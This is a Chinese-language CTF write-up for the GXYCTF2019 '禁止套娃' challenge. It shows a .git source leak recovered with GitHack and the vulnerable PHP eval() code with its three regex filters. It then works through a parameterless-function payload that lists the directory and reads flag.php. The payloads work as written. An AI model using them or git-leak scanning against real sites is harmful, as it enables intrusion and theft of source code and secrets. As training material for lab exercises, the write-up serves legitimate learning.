0x01 题目
GXYCTF2019-禁止套娃
进去一句话,啥都没有。扫个目录,/.git返回429
直接访问返回403,说明存在
直接访问:
在没有其他明显目录,且无hint的情况下。
考虑存在git泄漏。
常见的源码泄漏有.git与.svn,对于git泄漏我们可以使用Githack来拿下。
https://github.com/lijiejie/G...
果然存在,index.php源码到手
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
原来所谓禁止套娃就是指饶掉这三个正则。下面逐步分析。
0x02 分析详解
直接访问flag.php,无404但不回显。
那么我们的目的是,要求eval函数执行,并且执行读取flag.php的命令。
那么一个个if来分析
if1
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
要求必须用data://,filter://,php://,phar://等伪协议。
这样不可以用file://读取了。
if2
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
第二个正则关键在于\((?R)?\)
,(?R)
表示引用当前表达式。
其中?
引用是可选项,匹配成功后用NULL替换。
那么一个合法的表达式可以是a(b();)
if3
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
过滤一些函数。
下面列出一些函数,
1.scandir()
如果我们要看当前目录,需要给这个函数一个变量可以表示当前声明。
但这么做需要提前声明一个变量,显然不可行。
那么php中有没有类似常量来指当前目录呢?
2.一个常量
从上面可以看到,localeconv是一个数组,所以我们需要current取出数组中的单元,从而可以让scandir读取。这就是所谓无参数执行命令。
但由于正则的限制,current需要换成其同名函数pos
构造一个payload的
/?exp=print\_r(scandir(pos(localeconv())));
成功读取到目录位置。现在问题是:如何读取数组的元素(输出)?
这就涉及到了php的数组指向函数:
那么可以看到flag.php在倒数第二个位置,目前指针在0处。正常情况下是指不到第二个的。如何呢?
又是另一个函数:
那么,就可以用array_reverse()先反转,然后用next读取第二个,之后用highlight_file()读取即可
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
成功拿下:
0x03 反思
- git泄漏
这个用的还是非常多的(实战中)。同样常见的还有svn泄漏。
工具利用即可,原理可以简单了解。
http://xxlegend.com/2015/04/0... - 数组相关的函数
可以发现php中,数组是很重要的一部分。小到md5强类型绕过,再到反序列化构造,一些rce的回显都需要对数组进行处理。
个人感觉是因为php很多函数的回显都是基于数组的。所以往往问题就出现在这里。
建议直接扫一遍php手册。虽然很多,但是适当总结还是必要的。后续我在补吧。 - 无参数函数绕过
个人觉得这是命令执行/文件读取中干正则的好思路之一,正好刷题遇到了就边学边写记录下。希望有用。一题一个知识点,累觉不爱。
0x04 参考
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/#comment-15
http://xxlegend.com/2015/04/01/SVN和GIT信息泄漏利用原理及现状/
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。